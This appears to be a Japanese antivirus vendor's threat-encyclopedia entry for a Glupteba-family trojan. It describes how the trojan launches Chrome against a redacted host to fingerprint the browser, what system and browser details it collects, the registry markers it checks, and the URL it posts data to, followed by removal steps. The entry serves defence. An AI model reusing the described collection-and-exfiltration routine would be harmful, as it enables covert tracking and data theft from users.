解析者: Paul Steven Nadera   

 別名:

a variant of WinGo/RanumBot.X trojan (NOD32)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
    なし

  • 感染報告の有無 :
    はい

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。 マルウェアは、他のマルウェアまたはグレイウェアのパッケージとともにコンポーネントとして、コンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、感染コンピュータ上の特定の情報を収集します。

  詳細

ファイルサイズ 771,584 bytes
タイプ EXE
ファイル圧縮 UPX
メモリ常駐 はい
発見日 2021年4月22日

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、他のマルウェアまたはグレイウェアのパッケージとともにコンポーネントとして、コンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • to execute browser-based fingerprinting script:
    • %Program Files%\Google\Chrome\Application\chrome.exe http://{BLOCKED}nee.com/{BLOCKED}.php?uuid={UUID data}&browser=chrome

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ルートキット機能

マルウェアは、ルートキット機能を備えていません。

情報漏えい

マルウェアは、感染コンピュータ上の以下の情報を収集します。

  • UUID from registry key TestApp/{hex generated from SID}
  • Gathered via browser-based fingerprinting script:
    • Ad block Support
    • CPU Information
    • Language
    • Local Storage
    • OS Information
    • Plugins
    • SWF Object or Flash Support
    • Screen Information (Resolution, Color depth)
    • Session Storage
    • Timezone
    • Touch Support
    • User Agent
    • User's Do Not Track setting
    • WebGL Support

情報収集

マルウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。

  • https://{BLOCKED}nee.com/fp.php

その他

マルウェアは、以下を実行します。

  • Checks if one of the following registry entries exists to continue with its malicious routine:
    • HKEY_USERS\{User SID}\Software\Microsoft\TestApp
      UUID = {string}
    • HKEY_USERS\{User SID}\Software\Microsoft\{hex generated from SID}
      UUID = {string}
  • Finds chrome application from the following paths:
    • %System Root%\Program Files\Google\Chrome\Application\chrome.exe
    • %System Root%\Program Files (x86)\Google\Chrome\Application\chrome.exe

(註:%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)

マルウェアは、脆弱性を利用した感染活動を行いません。

<補足>
インストール

マルウェアは、以下のプロセスを追加します。

  • 以下にアクセスして、ブラウザベースのフィンガープリントスクリプトを実行します。
    • %Program Files%\Google\Chrome\Application\chrome.exe http://{BLOCKED}nee.com/{BLOCKED}.php?uuid={UUIDデータ}&browser=chrome

情報漏えい

マルウェアは、感染コンピュータ上の以下の情報を収集します。

  • レジストリキー「TestApp / {SIDから生成された16進数}」からの汎用一意識別子(UUID)
  • ブラウザベースのフィンガープリントスクリプトを介して、以下の情報を収集します。
    • 広告ブロックのサポート
    • CPU情報
    • 言語
    • ローカルストレージ
    • オペレーティングシステム(OS)情報
    • プラグイン
    • SWFオブジェクトあるいはFlashのサポート
    • 画面情報(解像度、色深度)
    • セッションストレージ
    • タイムゾーン
    • タッチサポート
    • ユーザ・エージェント
    • ユーザの「追跡しない(Do Not Track)」設定
    • WebGLのサポート

その他

マルウェアは、以下を実行します。

  • 以下のレジストリエントリのいずれかが存在するかどうかを確認して、自身の不正活動を継続します。
    • HKEY_USERS\{ユーザのSID}\Software\Microsoft\TestApp
      UUID = {文字列}
    • HKEY_USERS\{ユーザのSID}\Software\Microsoft\{SIDから生成された16進数}
      UUID = {文字列}
  • 以下のパスからChromeアプリケーションを検索します。
    • %System Root%\Program Files\Google\Chrome\Application\chrome.exe
    • %System Root%\Program Files (x86)\Google\Chrome\Application\chrome.exe

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 16.760.05
初回 VSAPI パターンリリース日 2021年6月4日
VSAPI OPR パターンバージョン 16.761.00
VSAPI OPR パターンリリース日 2021年6月5日

手順 1

トレンドマイクロの機械学習型検索は、マルウェアの存在を示す兆候が確認された時点で検出し、マルウェアが実行される前にブロックします。機械学習型検索が有効になっている場合、弊社のウイルス対策製品はこのマルウェアを以下の機械学習型検出名として検出します。

     
    • Troj.Win32.TRX.XXPE50FFF044

手順 2

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 4

起動中ブラウザのウインドウを全て閉じてください。

手順 5

「Trojan.Win32.GLUPTEBA.WLGG」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 6

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.Win32.GLUPTEBA.WLGG」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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